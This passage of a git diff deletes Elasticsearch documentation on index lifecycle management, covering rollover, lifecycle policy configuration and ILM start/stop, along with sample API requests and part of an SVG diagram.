-<3> Halts reindexing if multiple documents have the same ID. 
-    This is recommended to prevent accidentally overwriting documents 
-    if documents in different source indices have the same ID.
---
-
-. When reindexing is complete, set the {ilm-init} poll interval back to its default value to 
-prevent unnecessary load on the master node:
-+
-[source,console]
------------------------
-PUT _cluster/settings
-{
-  "transient": {
-    "indices.lifecycle.poll_interval": null
-  }
-}
-
------------------------
-// TEST[skip:don't want to overwrite this setting for other tests]
-
-. Resume indexing new data using the same alias.
-+
-Querying using this alias will now search your new data and all of the reindexed data.
-
-. Once you have verified that all of the reindexed data is available in the new managed indices, 
-you can safely remove the old indices.
diff --git a/docs/reference/ilm/index-rollover.asciidoc b/docs/reference/ilm/index-rollover.asciidoc
deleted file mode 100644
index 42350ed13c9..00000000000
--- a/docs/reference/ilm/index-rollover.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[[index-rollover]]
-=== Rollover
-
-When indexing time series data like logs or metrics, you can't write to a single index indefinitely. 
-To meet your indexing and search performance requirements and manage resource usage, 
-you write to an index until some threshold is met and 
-then create a new index and start writing to it instead. 
-Using rolling indices enables you to:
-
-* Optimize the active index for high ingest rates on high-performance _hot_ nodes.
-* Optimize for search performance on _warm_ nodes.
-* Shift older, less frequently accessed data to less expensive _cold_ nodes,
-* Delete data according to your retention policies by removing entire indices.
-
-We recommend using <<indices-create-data-stream, data streams>> to manage time series
-data. Data streams automatically track the write index while keeping configuration to a minimum.
-
-Each data stream requires an <<index-templates,index template>> that contains:
-
-* A name or wildcard (`*`) pattern for the data stream.
-
-* The data stream's timestamp field. This field must be mapped as a
-  <<date,`date`>> or <<date_nanos,`date_nanos`>> field data type and must be
-  included in every document indexed to the data stream.
-  
-  * The mappings and settings applied to each backing index when it's created.
-
-Data streams are designed for append-only data, where the data stream name
-can be used as the operations (read, write, rollover, shrink etc.) target.
-If your use case requires data to be updated in place, you can instead manage your time series data using <<indices-aliases, indices aliases>>. However, there are a few more configuration steps and
-concepts:
-
-* An _index template_ that specifies the settings for each new index in the series.
-You optimize this configuration for ingestion, typically using as many shards as you have hot nodes.
-* An _index alias_ that references the entire set of indices. 
-* A single index designated as the _write index_.
-This is the active index that handles all write requests.
-On each rollover, the new index becomes the write index.
-
-[discrete]
-[role="xpack"]
-[testenv="basic"]
-[[ilm-automatic-rollover]]
-=== Automatic rollover
-
-{ilm-init} enables you to automatically roll over to a new index based
-on the index size, document count, or age. When a rollover is triggered, a new
-index is created, the write alias is updated to point to the new index, and all
-subsequent updates are written to the new index.
-
-TIP: Rolling over to a new index based on size, document count, or age is preferable
-to time-based rollovers. Rolling over at an arbitrary time often results in
-many small indices, which can have a negative impact on performance and
-resource usage.
diff --git a/docs/reference/ilm/index.asciidoc b/docs/reference/ilm/index.asciidoc
deleted file mode 100644
index 550608916d8..00000000000
--- a/docs/reference/ilm/index.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[index-lifecycle-management]]
-= {ilm-init}: Manage the index lifecycle
-
-[partintro]
---
-You can configure {ilm} ({ilm-init}) policies to automatically manage indices 
-according to your performance, resiliency, and retention requirements. 
-For example, you could use {ilm-init} to:
-
-* Spin up a new index when an index reaches a certain size or number of documents
-* Create a new index each day, week, or month and archive previous ones
-* Delete stale indices to enforce data retention standards
- 
-You can create and manage index lifecycle policies through {kib} Management or the {ilm-init} APIs.
-When you enable {ilm} for {beats} or the {ls} {es} output plugin, 
-default policies are configured automatically.
-
-[role="screenshot"]
-image:images/ilm/index-lifecycle-policies.png[]
-
-[TIP]
-To automatically back up your indices and manage snapshots, 
-use <<getting-started-snapshot-lifecycle-management,snapshot lifecycle policies>>.
-
-* <<overview-index-lifecycle-management>>
-* <<ilm-concepts>>
-* <<getting-started-index-lifecycle-management>>
-* <<example-using-index-lifecycle-policy>>
-* <<set-up-lifecycle-policy>>
-* <<index-lifecycle-error-handling>>
-* <<start-stop-ilm>>
-* <<ilm-with-existing-indices>>
-* <<skipping-rollover>>
-* <<index-lifecycle-and-snapshots>>
-* <<index-lifecycle-management-api>>
-* <<ilm-actions>>
-
---
-include::ilm-overview.asciidoc[]
-
-include::ilm-concepts.asciidoc[]
-
-include::ilm-tutorial.asciidoc[]
-
-include::example-index-lifecycle-policy.asciidoc[leveloffset=-1]
-
-include::ilm-actions.asciidoc[]
-
-include::set-up-lifecycle-policy.asciidoc[]
-
-include::error-handling.asciidoc[]
-
-include::start-stop.asciidoc[]
-
-include::ilm-with-existing-indices.asciidoc[]
-
-include::ilm-skip-rollover.asciidoc[]
-
-include::ilm-and-snapshots.asciidoc[]
diff --git a/docs/reference/ilm/set-up-lifecycle-policy.asciidoc b/docs/reference/ilm/set-up-lifecycle-policy.asciidoc
deleted file mode 100644
index 667864c3c7e..00000000000
--- a/docs/reference/ilm/set-up-lifecycle-policy.asciidoc
+++ /dev/null
@@ -1,268 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[set-up-lifecycle-policy]]
-== Configure a lifecycle policy [[ilm-policy-definition]]
-
-For {ilm-init} to manage an index, a valid policy 
-must be specified in the `index.lifecycle.name` index setting. 
-
-To configure a lifecycle policy for <<index-rollover, rolling indices>>, 
-you create the policy and add it to the <<index-templates, index template>>.
-
-To use a policy to manage an index that doesn't roll over,
-you can specify a lifecycle policy when you create the index,
-or apply a policy directly to an existing index.
-
-{ilm-init} policies are stored in the global cluster state and can be included in snapshots
-by setting `include_global_state` to `true` when you <<snapshots-take-snapshot, take the snapshot>>. 
-When the snapshot is restored, all of the policies in the global state are restored and 
-any local policies with the same names are overwritten.
-
-IMPORTANT: When you enable {ilm} for {beats} or the {ls} {es} output plugin, 
-the necessary policies and configuration changes are applied automatically. 
-You can modify the default policies, but you do not need to explicitly configure a policy or
-bootstrap an initial index.
-
-[discrete]
-[[ilm-create-policy]]
-=== Create lifecycle policy
-
-To create lifecycle policies through {kib} Management
-go to Management and click **Index Lifecycle Policies**.
-
-[role="screenshot"]
-image:images/ilm/create-policy.png[]
-
-You specify the lifecycle phases for the policy and the actions to perform in each phase.
-
-The <<ilm-put-lifecycle, put policy>> API is invoked to add the policy to the {es} cluster.
-
-.API example
-[%collapsible]
-====
-[source,console]
-------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover": {
-            "max_size": "25GB" <1>
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {} <2>
-        }
-      }
-    }
-  }
-}
-------------------------
-
-<1> Roll over the index when it reaches 25GB in size
-<2> Delete the index 30 days after rollover
-====
-
-[discrete]
-[[apply-policy-template]]
-=== Apply lifecycle policy with an index template
-
-To use a policy that triggers the rollover action, 
-you need to configure the policy in the index template used to create each new index.
-You specify the name of the policy and the alias used to reference the rolling indices.
-
-You can use the {kib} Create template wizard to create a template. To access the
-wizard, open the menu and go to *Stack Management > Index Management*. In the
-the *Index Templates* tab, click *Create template*.
-
-[role="screenshot"]
-image:images/ilm/create-template-wizard-my_template.png[Create template page]
-
-The wizard invokes the <<indices-put-template,put template API>> to add templates to a cluster.
-
-.API example
-[%collapsible]
-====
-[source,console]
------------------------
-PUT _index_template/my_template
-{
-  "index_patterns": ["test-*"], <1>
-  "template": {
-    "settings": {
-      "number_of_shards": 1,
-      "number_of_replicas": 1,
-      "index.lifecycle.name": "my_policy", <2>
-      "index.lifecycle.rollover_alias": "test-alias" <3>
-    }
-  }
-}
------------------------
-
-<1> Use this template for all new indices whose names begin with `test-`
-<2> Apply `my_policy` to new indices created with this template
-<3> Define an index alias for referencing indices managed by `my_policy`
-====
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/my_template
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[discrete]
-[[create-initial-index]]
-==== Create an initial managed index
-
-When you set up policies for your own rolling indices, you need to manually create the first index 
-managed by a policy and designate it as the write index.
-
-IMPORTANT: When you enable {ilm} for {beats} or the {ls} {es} output plugin, 
-the necessary policies and configuration changes are applied automatically. 
-You can modify the default policies, but you do not need to explicitly configure a policy or
-bootstrap an initial index.
-
-The name of the index must match the pattern defined in the index template and end with a number.
-This number is incremented to generate the name of indices created by the rollover action.
-
-For example, the following request creates the `test-00001` index. 
-Because it matches the index pattern specified in `my_template`, 
-{es} automatically applies the settings from that template.
-
-[source,console]
------------------------
-PUT test-000001
-{
-  "aliases": {
-    "test-alias":{
-      "is_write_index": true <1>
-    }
-  }
-}
------------------------
-
-<1> Set this initial index to be the write index for this alias.
-
-Now you can start indexing data to the rollover alias specified in the lifecycle policy. 
-With the sample `my_policy` policy, the rollover action is triggered once the initial
-index exceeds 25GB. 
-{ilm-init} then creates a new index that becomes the write index for the `test-alias`.
-
-[discrete]
-[[apply-policy-manually]]
-=== Apply lifecycle policy manually
-
-You can specify a policy when you create an index or
-apply a policy to an existing index through {kib} Management or
-the <<indices-update-settings, update settings API>>. 
-When you apply a policy, {ilm-init} immediately starts managing the index.
-
-IMPORTANT: Do not manually apply a policy that uses the rollover action.
-Policies that use rollover must be applied by the <<apply-policy-template, index template>>. 
-Otherwise, the policy is not carried forward when the rollover action creates a new index.
-
-The `index.lifecycle.name` setting specifies an index's policy.
-
-.API example
-[%collapsible]
-====
-[source,console]
------------------------
-PUT test-index
-{
-  "settings": {
-    "number_of_shards": 1,
-    "number_of_replicas": 1,
-    "index.lifecycle.name": "my_policy" <1>
-  }
-}
------------------------
-<1> Sets the lifecycle policy for the index.
-====
-
-[discrete]
-[[apply-policy-multiple]]
-==== Apply a policy to multiple indices
-
-You can apply the same policy to multiple indices by using wildcards in the index name 
-when you call the <<indices-update-settings,update settings>> API.
-
-WARNING: Be careful that you don't inadvertently match indices that you don't want to modify.
-
-//////////////////////////
-[source,console]
------------------------
-PUT _index_template/mylogs_template
-{
-  "index_patterns": [
-    "mylogs-*"
-  ],
-  "template": {
-    "settings": {
-      "number_of_shards": 1,
-      "number_of_replicas": 1
-    },
-    "mappings": {
-      "properties": {
-        "message": {
-          "type": "text"
-        },
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
------------------------
-
-[source,console]
------------------------
-POST mylogs-pre-ilm-2019.06.24/_doc
-{
-  "@timestamp": "2019-06-24T10:34:00",
-  "message": "this is one log message"
-}
------------------------
-// TEST[continued]
-
-[source,console]
------------------------
-POST mylogs-pre-ilm-2019.06.25/_doc
-{
-  "@timestamp": "2019-06-25T17:42:00",
-  "message": "this is another log message"
-}
------------------------
-// TEST[continued]
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/mylogs_template
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[source,console]
------------------------
-PUT mylogs-pre-ilm*/_settings <1>
-{
-  "index": {
-    "lifecycle": {
-      "name": "mylogs_policy_existing"
-    }
-  }
-}
------------------------
-// TEST[continued]
-
-<1> Updates all indices with names that start with `mylogs-pre-ilm`
diff --git a/docs/reference/ilm/start-stop.asciidoc b/docs/reference/ilm/start-stop.asciidoc
deleted file mode 100644
index 3e630c7f527..00000000000
--- a/docs/reference/ilm/start-stop.asciidoc
+++ /dev/null
@@ -1,140 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[start-stop-ilm]]
-== Start and stop {ilm}
-
-By default, the {ilm-init} service is in the `RUNNING` state and manages 
-all indices that have lifecycle policies. 
-
-You can stop {ilm} to suspend management operations for all indices.
-For example, you might stop {ilm} when performing scheduled maintenance or making
-changes to the cluster that could impact the execution of {ilm-init} actions.
-
-IMPORTANT: When you stop {ilm-init}, <<snapshot-lifecycle-management, {slm-init}>> 
-operations are also suspended. 
-No snapshots will be taken as scheduled until you restart {ilm-init}.
-In-progress snapshots are not affected.
-
-[discrete]
-[[get-ilm-status]]
-=== Get {ilm-init} status
-
-To see the current status of the {ilm-init} service, use the <<ilm-get-status,Get Status API>>:
-
-////
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
-{
-  "settings": {
-    "index.lifecycle.name": "my_policy"
-  }
-}
---------------------------------------------------
-////
-
-[source,console]
---------------------------------------------------
-GET _ilm/status
---------------------------------------------------
-
-Under normal operation, the response shows {ilm-init} is `RUNNING`:
-
-[source,console-result]
---------------------------------------------------
-{
-  "operation_mode": "RUNNING"
-}
---------------------------------------------------
-
-
-
-[discrete]
-[[stop-ilm]]
-=== Stop {ilm-init}
-
-To stop the {ilm-init} service and pause execution of all lifecycle policies, 
-use the <<ilm-stop,Stop API>>:
-
-[source,console]
---------------------------------------------------
-POST _ilm/stop
---------------------------------------------------
-// TEST[continued]
-
-{ilm-init} service runs all policies to a point where it is safe to stop. 
-While the {ilm-init} service is shutting down, 
-the status API shows {ilm-init} is in the `STOPPING` mode:
-
-////
-[source,console]
---------------------------------------------------
-GET _ilm/status
---------------------------------------------------
-// TEST[continued]
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "operation_mode": "STOPPING"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"STOPPING"/$body.operation_mode/]
-
-Once all policies are at a safe stopping point, {ilm-init} moves into the `STOPPED` mode:
-
-////
-[source,console]
---------------------------------------------------
-PUT trigger_ilm_cs_action
-
-GET _ilm/status
---------------------------------------------------
-// TEST[continued]
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "operation_mode": "STOPPED"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"STOPPED"/$body.operation_mode/]
-
-[discrete]
-=== Start {ilm-init}
-
-To restart {ilm-init} and resume executing policies, use the <<ilm-start, Start API>>.
-This puts the  {ilm-init} service in the `RUNNING` state and 
-{ilm-init} begins executing policies from where it left off.
-
-[source,console]
---------------------------------------------------
-POST _ilm/start
---------------------------------------------------
-// TEST[continued]
-
-
diff --git a/docs/reference/ilm/update-lifecycle-policy.asciidoc b/docs/reference/ilm/update-lifecycle-policy.asciidoc
deleted file mode 100644
index 75f3a6a7cb9..00000000000
--- a/docs/reference/ilm/update-lifecycle-policy.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[update-lifecycle-policy]]
-=== Lifecycle policy updates
-++++
-<titleabbrev>Policy updates</titleabbrev>
-++++
-
-You can change how the lifecycle of an index or collection of rolling indices is managed
-by modifying the current policy or switching to a different policy. 
-
-To ensure that policy updates don't put an index into a state where it can't exit the current phase,
-the phase definition is cached in the index metadata when it enters the phase. 
-This cached definition is used to complete the phase. 
-
-When the index advances to the next phase, it uses the phase definition from the updated policy.
-
-[discrete]
-[[ilm-apply-changes]]
-=== How changes are applied
-
-When a policy is initially applied to an index, the index gets the latest version of the policy.
-If you update the policy, the policy version is bumped and {ilm-init} can detect that the index
-is using an earlier version that needs to be updated.
-
-Changes to `min_age` are not propagated to the cached definition.
-Changing a phase's `min_age` does not affect indices that are currently executing that phase.
-
-For example, if you create a policy that has a hot phase that does not specify a `min_age`, 
-indices immediately enter the hot phase when the policy is applied. 
-If you then update the policy to specify a `min_age` of 1 day for the hot phase, 
-that has no effect on indices that are already in the hot phase.
-Indices created _after_ the policy update won't enter the hot phase until they are a day old.
-
-[discrete]
-[[ilm-apply-new-policy]]
-=== How new policies are applied
-
-When you apply a different policy to a managed index, 
-the index completes the current phase using the cached definition from the previous policy. 
-The index starts using the new policy when it moves to the next phase.
diff --git a/docs/reference/images/Exponential.png b/docs/reference/images/Exponential.png
deleted file mode 100644
index 1591f747a13..00000000000
Binary files a/docs/reference/images/Exponential.png and /dev/null differ
diff --git a/docs/reference/images/Gaussian.png b/docs/reference/images/Gaussian.png
deleted file mode 100644
index 9d49bfb9470..00000000000
Binary files a/docs/reference/images/Gaussian.png and /dev/null differ
diff --git a/docs/reference/images/Linear.png b/docs/reference/images/Linear.png
deleted file mode 100644
index d06862266c1..00000000000
Binary files a/docs/reference/images/Linear.png and /dev/null differ
diff --git a/docs/reference/images/analysis/token-graph-basic.svg b/docs/reference/images/analysis/token-graph-basic.svg
deleted file mode 100644
index 99c2b0cb24f..00000000000
--- a/docs/reference/images/analysis/token-graph-basic.svg
+++ /dev/null
@@ -1,45 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="602px" height="54px" viewBox="0 0 602 54" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="token-graph-basic" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M209.1659,33.3041 L207.525275,33.3041 L207.525275,22.850967 C207.129442,23.225967 206.608608,23.6061753 205.962775,23.991592 C205.327358,24.366592 204.754442,24.647842 204.244025,24.835342 L204.244025,23.241592 C205.160692,22.8145087 205.962775,22.2936753 206.650275,21.679092 C207.337775,21.0645087 207.82215,20.4707587 208.1034,19.897842 L209.1659,19.897842 L209.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="175.08891 16.85302 194.521985 16.85302 194.521985 38.679795 175.08891 38.679795"></polygon>
-                <line x1="194.52199" y1="27.7664" x2="47.56136" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="176.52206" y1="27.82041" x2="47.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="176.53693 32.77559 190.136295 27.779565 176.507206 22.8652355"></polygon>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M395.6034,31.72597 L395.6034,33.304095 L386.775275,33.304095 C386.764858,32.9082617 386.827358,32.5280533 386.962775,32.16347 C387.191942,31.5593033 387.551317,30.9655533 388.0409,30.38222 C388.5409,29.7988867 389.25965,29.1270117 390.19715,28.366595 C391.645067,27.1790899 392.624233,26.2363791 393.13465,25.5384624 C393.645067,24.8405457 393.900275,24.1842957 393.900275,23.5697124 C393.900275,22.9134624 393.6659,22.3665874 393.19715,21.9290874 C392.738817,21.4811707 392.13465,21.2572124 391.38465,21.2572124 C390.592983,21.2572124 389.957567,21.4967957 389.4784,21.9759624 C389.00965,22.4447124 388.775275,23.0957541 388.775275,23.9290874 L387.087775,23.7572124 C387.202358,22.4967957 387.63465,21.5384624 388.38465,20.8822124 C389.145067,20.2259624 390.155483,19.8978374 391.4159,19.8978374 C392.69715,19.8978374 393.712775,20.2520041 394.462775,20.9603374 C395.212775,21.6686707 395.587775,22.5488791 395.587775,23.6009624 C395.587775,24.1322124 395.4784,24.6582541 395.25965,25.1790874 C395.0409,25.6999207 394.676317,26.2467957 394.1659,26.8197124 C393.6659,27.3822124 392.82215,28.1634649 391.63465,29.16347 C390.655483,29.9863867 390.025275,30.5488867 389.744025,30.85097 C389.462775,31.1426367 389.233608,31.4343033 389.056525,31.72597 L395.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="223.0889 16.85302 242.521975 16.85302 242.521975 38.679795 223.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <line x1="378.52197" y1="27.7664" x2="231.56134" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="360.52206" y1="27.82041" x2="231.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="360.53693 32.77559 374.136295 27.779565 360.507206 22.8652355"></polygon>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M570.994,29.77284 L572.634625,29.55409 C572.822125,30.49159 573.139833,31.163465 573.58775,31.569715 C574.046083,31.975965 574.598167,32.17909 575.244,32.17909 C576.014833,32.17909 576.665875,31.913465 577.197125,31.382215 C577.728375,30.850965 577.994,30.1895067 577.994,29.3978324 C577.994,28.64784 577.749208,28.0280458 577.259625,27.5384574 C576.770042,27.0488741 576.145042,26.8040824 575.384625,26.8040824 C575.072125,26.8040824 574.686708,26.8613741 574.228375,26.9759574 L574.415875,25.5384574 C574.520042,25.5488741 574.608583,25.5540824 574.6815,25.5540824 C575.379417,25.5540824 576.004417,25.3717907 576.5565,25.0072074 C577.119,24.6426241 577.40025,24.0853324 577.40025,23.3353324 C577.40025,22.7311657 577.197125,22.2311657 576.790875,21.8353324 C576.384625,21.4394991 575.858583,21.2415824 575.21275,21.2415824 C574.577333,21.2415824 574.046083,21.4447074 573.619,21.8509574 C573.191917,22.2467907 572.921083,22.8457491 572.8065,23.6478324 L571.165875,23.3509574 C571.363792,22.2572074 571.816917,21.4082491 572.52525,20.8040824 C573.233583,20.1999157 574.119,19.8978324 575.1815,19.8978324 C575.910667,19.8978324 576.577333,20.0540824 577.1815,20.3665824 C577.796083,20.6790824 578.264833,21.1061657 578.58775,21.6478324 C578.921083,22.1894991 579.08775,22.7624157 579.08775,23.3665824 C579.08775,23.9394991 578.9315,24.4655407 578.619,24.9447074 C578.3065,25.4134574 577.848167,25.7884574 577.244,26.0697074 C578.035667,26.2572074 578.65025,26.6374157 579.08775,27.2103324 C579.52525,27.7832541 579.744,28.5020067 579.744,29.36659 C579.744,30.52284 579.316917,31.507215 578.46275,32.319715 C577.619,33.132215 576.546083,33.538465 575.244,33.538465 C574.066917,33.538465 573.092958,33.1895067 572.322125,32.49159 C571.551292,31.7936733 571.108583,30.8874233 570.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="407.0889 16.85302 426.521975 16.85302 426.521975 38.679795 407.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.0889 16.85302 562.521944 16.85302 562.521944 38.679795 543.0889 38.679795"></polygon>
-                <line x1="562.522" y1="27.7664" x2="415.56137" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="544.52203" y1="27.82041" x2="415.56133" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="544.5369 32.77559 558.136265 27.779565 544.507176 22.8652355"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="73.96063 10.47244 152.35432 10.47244 152.35432 41.842511 73.96063 41.842511"></polygon>
